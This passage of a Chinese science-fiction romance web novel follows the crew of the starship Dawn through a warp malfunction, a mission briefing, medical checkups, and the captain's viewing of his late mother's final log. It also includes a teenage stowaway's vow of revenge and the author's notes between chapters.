“目前还没有出现超过我这21个小时经验之外的情况。”裴简珩接过高脚杯，“还算幸运。” 闻铮饶有兴味地挑眉：“那如果出现了呢？” 年轻的Alpha思考了几秒钟，坦然道：“那就只能我看着办了。” 闻铮：“……” 下一秒，两个人同时笑了起来。 闻铮主动伸出了高脚杯：“那就希望我们能一直幸运吧。” 裴简珩垂眼，看向它的眼神好像它不是个高脚杯，而是一个什么通关证书一般，珍而重之地将自己的杯子也递了过去，轻轻一碰。 一饮而尽。 闻铮嘶了一声，这个瑰云星系的特产确实很神奇，口感甚至比威士忌还烈上几分，液体滚过喉咙口时的灼烧感确实足够解压。 他觑了一眼裴简珩，这个Alpha的表情更是精彩，表情扭曲还咳嗽，估计他也没怎么喝过烈酒。这让这个比他小了六岁的年轻人终于透露出一丝这个年纪应该有的神态。 闻铮小小地翘了一下唇角，像只恶作剧的小猫。 他突然发现，时不时地挖掘一下这位看似成熟的年下Alpha一些幼稚的举动，还是挺有意思的。 他的这些神色，五感更为突出的裴简珩怎么可能不知道，他一边咳，一边指着闻铮：“——您在笑对吧？” 闻铮无辜：“我没有。” 被抓个正着，梨涡都还没来得及收起来。 裴简珩还没说下一句，就感受到星舰猛地一个颠簸，剧烈到桌子上放着的饮料瓶子都砸到地上摔碎了。 毫无防备的两人当然也不例外，重力的作用让闻铮站立不稳，蓦地向前倒去，裴简珩却凭借着超出常人的体能，在自己摔倒之前还能把闻铮抱个满怀！ 闻铮感觉到自己被砸进一个坚实的臂膀里，裴简珩的肌肉硬到他感觉自己的鼻子都被撞得一酸，随后铺天盖地袭来的，就是这个Alpha身上淡淡的檀木香气。 不过其他的他也暂时没法子思考，两个人都摔在地上，裴简珩直接做了闻铮的肉垫子，在倒在地上的一瞬间还下意识地环住了闻铮的腰。 太细了…… 裴简珩下意识地牢牢锁住手臂中的腰，这简直可以用古代地球东方文学中的“盈盈一握”来形容。 后脖颈滚烫的腺体位置提醒了闻铮现在的距离有多危险，但他还来不及起来，现在最要紧的事是—— “呼叫舰桥，凯利斯！颠簸是怎么回事？” 凯利斯的声音传来：“闻哥，我看不懂这个读数，但看起来我们好像被强行扔出空间迁跃了。” 肉垫子舵手眉头紧皱：“什么？” 闻铮又道：“呼叫轮机室，黎晓，迁跃反应堆出问题了吗？” 黎晓的声音急急传来：“给我三分钟！” 闻铮下意识和裴简珩对视一眼，两个人此刻才意识到这个姿势有多亲密和暧昧，闻铮把手撑在裴简珩胸口要起身，他的后脖颈已经烫到夸张的程度了。 ——结果下一刻，裴简珩却加重了环着闻铮后腰手臂的力气，强行把他又按了回来。 闻铮一怔：“你——” 裴简珩那双蓝色的眼睛专注地看着他，半晌才道：“……小心头顶。” 闻铮头顶正上方就是餐桌尖锐的桌角，他瞥了一眼，如果不是裴简珩，他确实脑袋就已经磕上去了。 腰间的手放开了。 裴简珩道：“我去舰桥看一眼。” 闻铮也站起来，气氛有些尴尬，他嗯了一声：“我去轮机室。” 两个人对视了一眼，又在下一秒各自移开目光。 闻铮感觉滚烫的温度正在从后脖颈蔓延到脸上，这看来去完轮机室，还得去趟医疗室……—— 作者有话说：感谢杂食但间歇性养胃、34402499的营养液！掉落同款非酒精饮料x1！ 第56章 我要你死 裴简珩踏入舰桥, 直奔仪表盘。 凯利斯在旁边眉头紧皱：“如果我没看错，我们是被扔出空间迁跃了吧？” 只是瞟了一眼仪表盘上让人眼花缭乱的读数，裴简珩就明白了现在的情况：“是的, 并且由于动力问题, 如果我们不启用备用动力，现在星舰是停止的。” “不应该啊，”凯利斯摸了摸下巴, “黎晓检查过所有的轮机室设备和动力引擎，除了老旧了一点以外没什么别的问题。” 裴简珩在仪表盘上操作了几下，试了试其他几个办法，均以失败告终：“如果迁跃反应堆物质不恢复, 我们无法重新进入空间迁跃。” 凯利斯问：“如果不进行空间迁跃, 我们要多久才能到特安斯特-B中转星？” 裴简珩瞥了一眼光年距离：“换算成时间, 一百七十二年。” 凯利斯：“……” 多少年？！ “换句话说，破晓号必须要能进入空间迁跃。”裴简珩转头看向凯利斯，眼底有微微冷意, “否则，我们都会死在这艘星舰上。” …… “所以, 我的船现在是怎么回事？” 闻铮来到轮机室门口，他本来预想的很糟，说不定轮机室现在已经到处冒烟喷水了，结果一打开轮机室阀门，里面一片岁月静好, 只有黎晓手里拿着控制面板，一副百思不得其解的样子。 见闻铮来了，黎晓对他招了招手：“闻哥，你来看这个读数。” 闻铮走过去, 低头看向他手里的悬浮面板，上面密密麻麻至少得有一百多个数值，一时之间沉默：“……你要我看哪个？” 黎晓道：“迁跃反应堆水平数值和二锂池容量衰退数值。” 闻铮：“哪个是？” 黎晓：“……这个，还有这个。” 闻铮坦然：“我看不懂。” 黎晓：“……呃，不好意思。” 闻铮倒是没觉得有什么，从容道：“我没上过星舰军校，所以只懂一些标准化的读数，你说的这两个数值我都没学过，所以还要麻烦你帮我讲一下这代表了什么。” 顿了一下，他又说：“不过看你现在的表现，应该不是什么大事？” “……应该吧。” 黎晓挠了挠头，有些赧然。 在航行的这几天的时间里，其实大多数时间还是挺无聊的。所以他们这几个人没事的时候会互相串串门聊聊天，也因此他也知道了不管是凯利斯、裴简珩还是新来的赫尔，都是从星舰军校毕业的，只是届数和学院不同，所以他此前都不认识而已。 所以他也想当然地以为，作为舰长的闻铮，自然也是从星舰军校毕业的。 结果居然不是？ 那他怎么可能当上舰长？ 转念一想，黎晓又觉得自己想得有点多，这艘星舰上的五个人不都是被赶鸭子上架的么？估计这个闻指挥官之前也没做过舰长，只是被逼到这个份上，必须硬上了。 闻铮看到黎晓有点跑神，目光都飘忽了，伸手在他面前晃了晃：“轮机长？” 黎晓回神，幽怨地看向他，眼神里都是控诉——你怎么也和凯利斯学啊！就一个人的轮机室有什么好叫轮机长的啊！ 闻铮指了指面板，黎晓也言归正传：“这两个读数有点奇怪，但不算大问题。” “那我们怎么会从空间迁跃里被弹出来？” “因为容量太低，版本太旧，带不起来。”黎晓道，“所以会偶尔出现这种压力过载的情况，冷却半个小时就可以回到空间迁跃模式中了。” 听到还能回到空间迁跃模式中，闻铮心里稍微放下了一点，但随后他想到了什么：“此前破晓号服役的时候，也没有出现这种过载的情况，是因为我们迁跃模式选择的档位太高了吗？” “应该和这个没有关系。就破晓号这个轮机室，不存在这种情况，因为最高也就这样了。”黎晓在悬浮屏上点了几下，给闻铮看，“这艘星舰的其他部分应该都翻新过，动力引擎、武器系统都改装过，相对新一点。” “但迁跃反应堆和二锂池没有被升级，还是几十年前的版本。所以时间一长就会加载过热，在过热的状态下，能量以三倍速度损耗，必须停下冷却。” 闻铮听懂了，出于长远考虑，他又问：“这个问题有可能彻底修复吗？” “有，”黎晓答，“换个空间迁跃反应堆和二锂池，有可能吗？” 闻铮：“……我们暂时还没有这个条件。” 不是钱的问题，空间迁跃反应堆和二锂池等技术、工具或物质，都是受到联邦军部严格管控的，不经过层层审批根本拿不到批准令，没有批准令，就根本买不到。 黑市可能有，但谁敢用？ 有资源和门路的私人太空港也可能有，但也都需要进行军方报备。 闻铮也猜到，利切尔在把“破晓号”重新交到他手上之前，肯定是把能升级的都升了，但像空间迁跃这种技术，7号星都没有，他也是爱莫能助。 闻铮拍拍黎晓的肩膀，声音温柔：“辛苦你了。” 黎晓眼睛亮晶晶：“是我要谢谢你！” 重新回到轮机室，好像就捡起了他不得不被搁置的野心和梦想。在休息的时候，他看向窗外的宇宙，不敢置信他居然又能够再次回到繁星之中。 哪怕知道这是一场和凶残的德瓦人的追逐战，也知道前路必定是危险重重，他也愿意。 不过…… 黎晓悄悄举起右手：“闻哥，有没有可能我们再吸收一个懂物理的成员？只有我自己，我压力很大。” 一个不小心，全舰一起没命啊！ 闻铮笑了一下：“我不想给你画饼说类似你可以的这种空话，我知道你压力很大，我会关注的。” 他抬起手腕：“呼叫舰桥，轮机室反馈迁跃反应堆加载过热，30分钟后可以重新进入空间迁跃模式，建议下调空间迁跃等级，请知悉。” 裴简珩的声音响起，很明显松了口气：“舰桥收到，将于30分钟后再次尝试进入空间迁跃模式。” 年轻英俊的舵手对本舰大副挑了挑眉：“看样子，这次是活下来了。” 金发大副深呼吸：“我宁可死在和德瓦人的交火里，也不想这么死在太空中。” 裴简珩笑着摇摇头：“你去休息吧，我来替你。” 他面朝着整片宇宙坐下，拥抱着无边无尽的星辰。 …… 黑暗。 寂静。 寒冷。 这是这几天的时间里，向星苑仅有的感官感受。 她躲在了开往副3星克里斯托星球的物资舱里，他们事先了解过，从7号星开往这里，算上路上停留中转的时间，一共要14天。 戈维告诉她，上午10:30，在物资舱里见。 她等到了10:28，还没看见戈维，她急得不行。就在她要偷溜下去找戈维的时候，她的通讯收到了戈维的一条信息，说自己已经上来了，让她先躲好，一会儿会来找她。 可直到这艘星舰起飞，她都没有看到戈维。 在离开这颗星球之前，她又收到了戈维的最后一条信息。 ——再见，苑苑。 一瞬间，她明白了所有。 她恨自己已经没有回头路，她恨为什么自己又是被保护的那一个，也恨为什么这个世界一条活路都不给他们！ 她怀着恨意，和仅剩的一点点希望，在这里熬了……她也不知道多少天，已经数不清了。 应该有七天了，每天的这个时候，都有这艘舰上负责物资的几个舰员来随意地巡查一圈。他们每次都很敷衍，一边随意的点点数量，一边还在外放新闻，向星苑就靠这些信息粗略地估计时间。 这一天，他们又来了，他们依然有一搭没一搭地聊天，新闻也依旧放着。 “目前戈维.斯坦利已经进入重症医疗舱，处于持续性植物状态，预计次伤害不可逆，且无法恢复……” “面对这种情况，我们不得不向联邦政府、警部与暗影组发问，到底谁该对此负责？” “……” 向星苑瞪大了双眼，死死地捂住了自己的嘴。 这两个舰员在听到新闻以后，也一边摸鱼一边讨论了起来。 “这新闻我之前看到过，一个Beta小孩为了给自己的艾尼默朋友报仇，杀了那个什么议员长的儿子。怎么被人捅死啦？！” “你听没听明白？植物状态，还没死！” “有什么区别啦？不可逆你听到没啊？这帮当官的心也真狠，自己的儿子没教好，还要别人的命！得亏下台了，这样的人要是当了7号星下一任星长，我看这星球是真完了！” “这几个小孩我看都挺可怜的，你说那暗影组也是的，这事和德瓦人屁关系没有，非得欠欠地抓什么！这下好了吧，正义我看也没伸张，人倒是半死不活了！” “嗨呀，拉倒吧，在这儿能活一天是一天得了，联邦再怎么鼓吹乌托邦理想国，你看谁管得到我们这边……” “嘁……” 他们的声音越走越远，直至消失不见。 眼泪直直地从眼眶里砸下来，向星苑双眼几欲滴血，硬生生在右手虎口咬下一块肉来！ 她脑中来来回回响彻着新闻里记者的话，她难以想象戈维经历了什么，又正在经历什么。 为什么？ 为什么？？ 为什么？？？ 他们到底做错了什么？！ 冷不丁地，那两个舰员的话又和新闻一起在她脑海中反反复复。 ——“你说那暗影组也是的，这事和德瓦人屁关系没有……人倒是半死不活了……” “……面对这种情况，我们不得不向联邦政府、警部与暗影组发问，到底谁该对此负责……” 暗影组…… 向星苑蓦地想起了那个在巷子里把自己抓走审讯的瘦削Alpha，那张脸，她在此刻牢牢地刻在了骨血里。 她摸到了怀里的一把短短的匕首，那是出发前戈维给她的，跟她说这是一个对他很好的Alpha送给他的，告诉他，只有活着，才有希望。 这个14岁的女孩，“哧”地一声吐掉了虎口咬下来的那块肉。 她攥紧了那把匕首，淡红色的眼睛在黑暗里闪着狠绝的光。 ——我要你死。 ——我要你们，都死—— 作者有话说：小剧场： 黎晓：手机太热了，掉电快，得放置一会儿。 ———— 感谢大家的支持！小糊文稍微热闹了一点点，恭祝国庆，接下来直到10.1继续每天双更啦[墨镜] 第57章 这是命令 闻铮回到自己的房间, 刚刚那一通颠簸，他的房间里一片狼藉。之前在“悬空号”的时候，连负责打扫清洁的人工智能机器人都配备了五十个, 现在一个都没有。 闻铮要是不自己收拾, 他晚上就没有睡觉的地方了。 打开房门，歪七扭八的桌子和沙发彰显出刚刚那场颠簸到底有多严重，闻铮把散落一地的东西捡起来, 在看到碎成几片的瑰云星系非酒精饮料瓶的时候顿了一顿。 刚刚…… 现在一切平息，他才有精力把注意力分给自己的后脖颈，那块残留的腺体变得又烫又肿，甚至快到掩饰贴都盖不住的程度了。 也不奇怪, 刚刚他和裴简珩的距离实在是太近了, 有一瞬间他甚至能听到Alpha的心跳声。而他揽在自己腰上的胳膊又那么用力, 如同铁臂一般把他桎梏在怀中，让他怀疑下一秒就要被融进裴简珩的身体里了。 闻铮摇摇头，一想到自己又要去医疗室见赫尔, 就有点想笑。 而赫尔是真的笑了，气笑了。 他拿着医疗扫描仪扫了半天, 对着面板上的读数冷笑。 新任一天的首席医疗官大逆不道地指着舰长，气得一句话都说不出来。 缓了半天，他才说：“你知道你残留的腺体现在已经什么样子了吗？你还敢刺激它？！” 闻铮：“我没——” “3%！你的腺体现在只剩下3%！但你的信息素和激素水平仍然居高不下，你让它们从哪里宣泄出去？！” “我不是——” “你刚才又干什么了？为什么比起前天你来找我的时候，信息素水平又上升了？！” 闻铮看着眼前怒气冲冲的赫尔, 实在是一时之间不知道从何说起。 他到底是不是崇尚爱与和平的艾尔文人？ 艾尔文人不是都像假人一样冷冰冰的没什么情绪起伏吗？ 他倒是骂人骂的中气十足…… “我知道了。”赫尔也是聪明人，立刻猜都猜到了，“你是不是和那个Alpha又有接触了？他做了什么，为什么会这么刺激你的信息素和激素？” 闻铮没说话, 赫尔双手环胸：“你别以为我猜不到，这船上一共就两个Alpha，我总有办法能知道。” “猜到了又怎样，你是我的医生。”闻铮眯了眯眼，“你不能把我的健康信息透露给其他人的，会进监狱。” 赫尔又从鼻腔里发出一声冷笑。 闻铮歪头：“所以你到底给不给我治？” 赫尔朝天翻了个白眼，一边调配药剂，一遍在心里恶狠狠地吐槽。 ——斯洛克犟驴！ …… “破晓号”顺利地重新进入了空间迁跃模式，还有10个小时就到达特安斯特-B中转星了，闻铮趁着平稳飞行的时候让裴简珩设定了自动驾驶，将星舰上所有人都召集到了小型会议室里。 “借用大家二十分钟的时间，”闻铮示意其他四个人入座，“我来做一下简报，以及我们针对这些情况的下一步安排。” 黎晓有些紧张，他在轮机室里鼓捣技术的时候非常自在，但真的坐到这个会议室里，让他有一种自己已经是什么星舰高级军官的错觉。 尤其这个闻指挥官，自从踏上星舰开始，他就和之前在7号星上的时候有点不一样了。 很难描述，似乎变得更加……如鱼得水，好像他天生就应该率领星舰踏上征程一般。 现在他坐在会议室里，这里的装修、桌椅、设备都是冷冰冰的银白色，而闻铮中长的黑发和漆黑的眼睛，都让他像一点浓墨滴在了无机质的机械中，让人无法把视线从他身上移开，又从心里滋生出一种想法—— ——似乎只要跟着他，就没有什么是解决不了的。 “我们的明线任务，是追缉一个联邦跨星系逃犯。” 赫尔听到“明线任务”这四个字，心下一动。 闻铮把相关的信息反映在悬浮大屏上，屏幕上面有逃犯的照片，是一个戴着眼镜的红发青年，看上去神色有些呆呆的，完全不像是犯了联邦重罪的样子。 “程迹，联邦ID号31056152138，罪名为’反联邦人道主义武器研究’与’反联邦人道主义基因工程研究’，四年前被联邦军部逮捕，刑期四千七百二十一年。” “……多少年？” 赫尔不敢相信自己的耳朵。 “四千七百二十一年，”凯利斯轻轻咂舌，“叛国罪也就不过三百年，这哥儿们到底都干了啥？” “你开玩笑吧？程迹你没听过？！” 黎晓“唰”地转头，指着程迹的三维照片，难以置信地看向凯利斯：“他可是被写进星舰学院物理和生物教材的人，联邦历史上最伟大的十大物理学家之一！” 凯利斯哽住：“……我是打架的，不是学物理的！” 黎晓怒：“《宇宙新发展的物理学基础》，这是所有学院的必修课！” 凯利斯望天：“呃，我可能大概也许在上学的时候逃了那么几节课吧……” “黎晓说的没错，”裴简珩打断了他们的斗嘴，“程迹确实是联邦历史上最杰出的物理学家之一，空间迁跃技术能从LV.3进化到LV.7，他是最主要的贡献者。” 没上过星舰军校也没学过《宇宙新发展的物理学基础》的闻铮确实有些疑惑，他再次确认了一下程迹的资料：“可他才38岁。” 按照人类目前的寿命来说，38岁真的很年轻了，就能达到这种成就了？ “是呀是呀，”黎晓的眼睛又亮亮的，“所以他是所有轮机师的偶像！” “你的偶像怎么从神坛跌落成逃犯了？”凯利斯奇怪，“照理来说，这种金字塔顶尖的人才，就算真的是叛国了，联邦军部那帮人也得把他秘密关押榨干他的脑子才对。” “不知道。”闻铮摇头，“程迹有少将军衔，因此上了军事法庭审判，但具体的细节外界一无所知，只知道他因为这两个罪名获刑四千七百二十一年。” “但他被关押在联邦法则之塔的第四年就越狱了。”闻铮挑眉，心里还是挺佩服程迹的，看上去像一个弱不禁风的书呆子，居然能从法则之塔那种地方逃出来，脑子好的人确实不简单。 在星舰军校只学了打架的战术学院优秀毕业生凯利斯，这次是发自肺腑地举起了大拇指：“……这是真有两下子。” 所有人都被他逗笑了。 “言归正传，在他越狱后，联邦军部针对他发出了最高缉捕令，虽然陆陆续续有他在不同星系之间的线索，但至今已经两年了，没人真的抓到过他。” 闻铮双手环胸：“最新的情报显示，半个月前他出现在特安斯特-B中转星。” “特安斯特-B是流量最大、线路最多的中转星，”赫尔道，“他可能早就已经跑到别的星球去了。” 闻铮淡淡道：“我不在乎。” 赫尔一怔。 “因为我们根本不是为他而来的。” 他挥了挥手，悬浮大屏上程迹的三维照片换成了一艘正在360旋转的商用星舰。 “德瓦人从7号星收集大量蓟梨草运回德瓦帝国母星，这艘商用星舰是他们掩人耳目的方式。7号星的航班太少，无法掩盖回德瓦母星的踪迹，因此他们选择先到特安斯特-B中转。” 闻铮指了指悬浮屏：“这才是我们本次的真正任务，追踪德瓦人以及探查他们利用蓟梨草和B-356到底在做什么。” 他顿了一下，带着歉意看向赫尔：“抱歉此前没有将真实目的告知你，如果你有什么顾虑，你可以在特安斯特-B离开。” 赫尔沉默了半晌，方才道：“……如果是德瓦人，那要加钱。” 闻铮：“……” 他展颜一笑：“没问题，价钱你开。” 赫尔的目光看似不经意地扫过裴简珩，心里叹息。 又是德瓦人，他总有一种不太好的预感…… “基于这种情况，我们会在特安斯特-B停留一段时间，我预估至少需要半个月。” 闻铮看了一眼裴简珩，后者接过了话头：“上次我和闻哥跟踪过他们，我听到了一些信息。这一艘商用星舰的周期不算短，算上从7号星到达特安斯特-B路程花费的时间，他们会晚于我们十天后到达。” “这十天的时间里，我们需要先探查一些基本的情况，以及观察一下特安斯特-B星有没有其他德瓦人的势力。”闻铮继续说，“本次任务以侦查为主，如非万不得已，不要与德瓦人交火。” 凯利斯闻言下意识地朝裴简珩看了一眼，心下惊奇。 闻哥的想法居然真的被他摸清楚了，他当年可是和闻铮朝夕相处了一年多才逐渐明白他的一些想法。 黎晓轻轻地吐出一口气。 这艘船上没人比他更清楚“破晓号”到底能做什么，不能做什么。他其实很担心，如果闻哥坚持要用这艘落后的星舰去和科技水平不在联邦之下的德瓦人开打，那与自杀无异。 幸好，幸好他们的指挥官足够清醒理智。 “我和裴简珩、凯利斯会负责探查情报，”闻铮开始分配任务，他把相对危险的任务都给了暗影组的人，“黎晓和赫尔守着’破晓号’，补给能源和物资。如果7号星有人联系过来，记得转接给我。” 闻铮抬腕看了一眼时间：“现在还有10个小时到达特安斯特-B，赫尔，麻烦在落地之前对所有人进行健康检查，根据个体需求补充医疗物资。” “其他人，在没有得到医疗官排班消息之前，都去休息。” 裴简珩一怔：“闻哥，舰桥——” “我会在的。”闻铮对他点了点头，“我虽然没有学习过星舰军校的学院派驾驶技术，但一些基本的操作还是可以的，如果有什么意外，我会呼叫你，请务必开放消息权限。” 裴简珩还想再争取一下：“我可以和您一起在舰桥，我还不累——” “你已经超过26个小时没有合眼了。”闻铮的音调不高，语气却毋容置疑，“凯利斯也已经15个小时没有好好休息，我不是在和你们商量，这是命令。” 所有人哑火。 赫尔在旁边轻轻咂了下舌，怪不得这人能做出来亲手把自己腺体挖除这种事，这么坚韧的性格和强势的控制欲，他这辈子没见过这样的Omega。 ……这么看来，在自己这个医生面前，他倒是还算给自己面子了…… 闻铮最后看了他们一眼，轻轻笑了笑：“会议结束，解散。”—— 作者有话说：小剧场： 黎晓：你上没上过学啊？ 凯利斯：你逃没逃过课啊？ —— 感谢珍白雪w的地雷！ 感谢杂食但间歇性养胃、34402499的营养液！ 每人掉落一本《宇宙新发展的物理学基础》！ （邪恶作者，大家记得好好学习[墨镜]） 第58章 舰长日志 赫尔开始了从他踏上“破晓号”之后最忙碌的四个小时, 那就是给其他人做全面的身体检查。 自从经历过闻铮以后，他觉得其他患者都是听话的小绵羊。 ——也不一定，眼前这个就健壮的像一头牛。 他拿着医疗扫描仪把凯利斯从头到脚扫了个遍, 最后端详着手里的控制面板, 啧啧称奇：“身体能好到你这个地步的人类，我倒是也挺少见到的。” 凯利斯从病床上仰卧起坐，伸了个懒腰：“说明我心态平稳, 作息规律，生活健康，未来可期。” 赫尔懒得和他贫嘴，但又似乎想起了什么, 紫色眼睛一转, 漫不经心道：“跟着你这位上司, 还能保持这种良好的生活习惯，确实挺不容易。” “是啊，”凯利斯深有同感, “闻哥自己睡不着觉，我还是要睡觉的。” “他的身体状况确实不太好, 长时间缺少深度睡眠，他的意志力得有多强才能保持情绪这么稳定。”赫尔道，“你就不能劝劝他？” 凯利斯大惊失色：“我劝他？我是谁啊，还轮得到我劝他？” 赫尔从悬浮面板上缘看着他：“你是他的第一大副，劝诫舰长是第一大副最主要的职责之一。” 凯利斯也回看着他, 深吸一口气：“……医生。” “嗯？” “你给闻哥检查过身体了吗？” “第一个检查的就是他，”赫尔有些迷惑，“怎么了？” 凯利斯道：“那你就应该知道，闻哥倔起来谁也劝不了, 就好像那个——” “——斯洛克犟驴。” 赫尔接上了后半句，在短暂的沉默过后，两个人对视一眼，都在对方眼底看到了“你懂我”三个大字。 赫尔一边把他的医疗报告存档，一边不经意地问：“你出这种跨星系的任务，你的Omega不会担心吗？” “……哪里来的Omega？”凯利斯摆摆手，“我一直是单身。” 赫尔转过身用悬浮笔指他：“少来，你是个A+级别的Alpha，不可能没有Omega，不然你易感期怎么度过？” 凯利斯耸肩：“抑制剂啊，这东西堪称联邦史上最伟大的发明。 赫尔闻言在悬浮屏上划拉了两下，看着上面的激素数值看了半分钟，重新刷新了三次才敢相信：“……你身体是真的好，一直用抑制剂度过易感期，激素和信息素水平居然还在标准值上。” 凯利斯对他眨了眨左眼，这个金发的青年笑起来确实英俊又讨人喜欢。 在他完成所有医疗检查离开以后，赫尔看着他的背影若有所思。 这个反应……虽然也能看出来对闻身体状况的关心，但确实不像是和闻睡过的样子。 还是说他真的不知道一年前那个Omega是闻？ ……也不对。 闻上次说，一年前他们是陌生人，现在才变成上下属。 但凯利斯明显已经和闻认识很久了。 ……不会吧…… 赫尔有些头痛地按了按下颌角，艾尔文人的那里相当于人类的太阳穴。 这么一看，真的就剩下裴简珩了。 一个难搞的超S级Alpha，另一个是更难搞的非典型Omega。 赫尔感觉自己的下颌角更痛了。 如果闻说的是真的，裴简珩不知道他就是一年前上过床的Omega，那他最好就继续保持不要知道吧……否则这麻烦可大了…… 这个时候黎晓打开了医疗室的门，把赫尔短暂地从崩溃中解救了出来。 他对这个清秀甜美的Omega还是比较有好感的，总比斯洛克犟驴让人省心。 黎晓倒是也很配合地躺在了医疗床上，一边接受机器的扫描，一边有一搭没一搭地和赫尔瞎聊：“医生，你有军衔吗？” 赫尔扫描的动作顿了一下：“少校。” “哇！” 黎晓“腾”地一下仰卧起坐坐直了：“少校！！正常学生毕业的时候不都是少尉吗？” 赫尔伸出一只手把他按下去：“毕业以后我参加了几场战争，侥幸还活着，所以得了一些荣誉军衔，不足挂齿。” “是和德瓦帝国的战争吗？”黎晓更好奇了，“那你怎么离开军部了？” 赫尔把扫描仪放下，开始等待系统读数，垂着银白色的羽睫看他，“因为我找不到我在那里的意义。” “啊？”黎晓愣住，“你是战地医生诶，你在救死扶伤，你救了那么多联邦军人，怎么可能没有意义？” “救了他们，然后呢？” 赫尔的眼神一片空茫：“我用尽我所有的能力救治这些战士，只为了能把他们再次送上战场，让他们继续战斗，一次又一次，一次又一次，直到彻底死亡。” “我真的在救人吗？还是也在进行周而复始的屠杀。” 黎晓张开嘴，一时之间一句话也说不出来。 赫尔深吸了一口气，意识到了自己的失态，生硬地转移话题：“——你可以起来了，少尉。” 而这两个字又好像刺痛了黎晓，让他的神色在一瞬间变得灰暗，半晌他才轻声道：“……和你正好相反，我没有军衔。” 赫尔一怔：“什么？你不是轮机学院的——” “我没能毕业。” Omega将脸转向了另一侧，声音紧紧绷着：“你就没怀疑过，为什么我是一个Omega，却能进入轮机学院就读吗？” 他说完，又好像反应过来，自嘲地笑笑：“也是，你是艾尔文人，确实不太清楚星舰军校对其他种族的录取要求。” 但裴简珩和凯利斯作为人类是知道的，所以他们在知道黎晓是Omega并且曾经在轮机学院就读的时候，表情都有一瞬间的惊讶，只是良好的教养和情商让他们没有进一步询问同伴的隐私。 黎晓转过脸来，清秀可爱的脸上此刻满是冰冷：“星舰军校是宣扬自由与平等的联邦旗舰，但它的指挥学院、战术与安全学院和轮机学院，只允许人类中的Alpha就读。” 官方说法是，Alpha有着人类三种性别中最强健的体能和机能，而指挥学院、战术与安全学院和轮机学院，是星舰军队中死亡率最高的三个工种，为了保护Beta和Omega，也为了减少伤亡，因此只允许Alpha就读和任职。 赫尔接过话头：“但你并不赞同。” “也许在这条规定的背后有联邦自己的考量和道理，”黎晓道，“但至少他们应该给其他人选择的权力。” 好像只要涉及到联邦和星际舰队，话题就会变得沉重起来。 赫尔不动声色地转移话题：“那目前来看，这艘船上军衔最高的是凯利斯？我记得他是上校。” 黎晓点头，又摇头：“是……吧？但我其实不知道闻哥的军衔。我问过，他说他现在没有军衔，只让我们叫他闻哥或者指挥官。” 黎晓哼了一声：“我不信。” 他对星际舰队这么了解，对星舰的运作也如数家珍，再佐以这种领导力和气魄，怎么可能没有军衔！未免也太假了一点吧！ 艾尔文医生若有所思。 这人倒还真是，浑身都是谜团啊。 “所以医生，我的身体怎么样？”黎晓眼巴巴地看着他，他确实蛮久没进行常规体检了。 “你身体也挺好的，”赫尔扫了一眼他的各项指标，有些犹疑，“你有Alpha了吗？我看你的信息素还挺稳定的，虽然有点波动，但还算在正常区间内。” 黎晓倒是无所谓：“只要我想，我就不缺Alpha，大家各取所需，只要不进行最终标记，就谁也不吃亏。离开星舰军校起码让我明白了一件事，身体才是第一位的，没必要和自己拧劲。” 赫尔顿了一下，对他竖了个大拇指：“活明白了。” 能不能录下来给某个人做成闹钟循环播放。 自己的身体都破烂成啥样了，还犟，还犟！ …… “舰长抵达舰桥。” 破晓号人工智能的声音响起，闻铮有些无奈地说：“我上次就和你说了，我不是’破晓号’的舰长。” “否认，”人工智能的声线没有任何起伏，还不如罗斯警长，“您是’破晓号’目前的最高负责人和指挥官，根据规定，您正在履行舰长职责。” ……算了。 闻铮也不和人工智能进行无意义的争辩，他来到主屏幕前方，看着眼前一望无垠的太空出神。 “舰长日志，星历4012年8月——” 闻铮原本想记录此刻的想法，却下意识地说出了舰长两个字，微一停顿。 破晓号人工智能等了他一会儿，见他一时半刻没有下文，出声提醒：“您提到舰长日志，我猜测您想访问舰长日志历史记录。” 闻铮猛地抬起脸，失声：“历史记录？！” “确认，正在为您查询舰长日志历史记录，请稍候……” “正在进行生物信息比对和权限确认……” “权限已确认，可查看’破晓号’上任舰长的公开日志，请确认操作。” 主屏幕上赫然跳出了一个视频日志。 一位穿着星舰军队制服的女人缓缓出现在屏幕上，她的肩膀上戴着象征着少将身份的金色肩穗，黑色军装的前胸处分别别着联邦军部、星舰军队、舰长和其他三枚荣誉勋章。 闻铮睁大了眼睛，上前几步，下意识地就想去触摸主屏幕，却因为控制台的阻挡而落在半空。 “舰长日志，星历3995年11月25日。” “破晓号’第三任舰长、联邦暗影组第五任指挥官沈亦映于此留下最后记录。” 屏幕上的那张脸庞坚韧冷峻，即使已经满脸伤痕，依然目光冷静沉着，只眼底流露出隐隐的几分怆然。 “德瓦帝国元帅奥克斯.奴瓦辛戈，目前率领哨兵1军埋伏于洛河星系外围星云带中，因抢夺星球资源对洛河星系1-7号星宣战。为保洛河星系安危，暗影组驾驶’破晓号’前往第一线，执行单程任务。” 闻铮微微仰头看着自己的母亲声线平稳地说出这段话，作为曾经的星舰军队的一份子，他知道单程任务这四个字代表着怎样有去无回的含义。 “敌方实际战力超过我方五倍，’破晓号’所有穿梭子舰均被德瓦哨兵1军歼灭。包括我的爱人、’破晓号’的第一大副闻衡之在内，暗影组全体12名军官……”沈亦映的声音说到这里，终于控制不住有了哽咽之意，“……均已阵亡。” “’破晓号’所有武器均以耗尽，在暗影组其他军官驾驶穿梭子舰吸引火力的掩盖下，我已经驾驶’破晓号’到达德瓦哨兵1军母舰的动力舱下方，63秒后，我会引爆最后一枚光子鱼雷。” 闻铮继承了沈亦映那双深空一般曜黑的眼睛，她最后看向了镜头，眼眶红了起来，声音轻不可闻：“……不能陪着你长大了，对不起，小铮。” 这句话讲完，她的眼神又锐利了起来：“除此以外，暗影组在此前的调查中发现德瓦人对7号星……呲呲……关注……呲呲呲……草……呲呲呲呲……” 画面突然开始扭曲，沈亦映的声音也变得断断续续，等到画面和声音再次恢复的时候，她已经伸手把肩穗梳理平整，脊背挺直地坐在了舰长椅上。 “……暗影组全体军官，最后任务执行完毕。” 她望着眼前的深空，按下按键，铺天盖地的火光猛地炸裂开来，视频结束—— 作者有话说：想打滚求求大家的评论和营养液[求你了][求你了] 第59章 这样的OMEGA有点难找 舰长日志视频结束了。 闻铮愣在原地, 半晌，他才感觉到脸上有些冰凉。伸手一摸，两颊湿漉漉的。 沈亦映和闻衡之牺牲的太突然, 别说只言片语, 就连遗体、遗物……什么都没有留下。 16岁的闻铮正处在分化边缘，得知噩耗后神志崩溃引发激素紊乱，他晕了一天后再次醒来, 发现自己已经分化成了Omega。 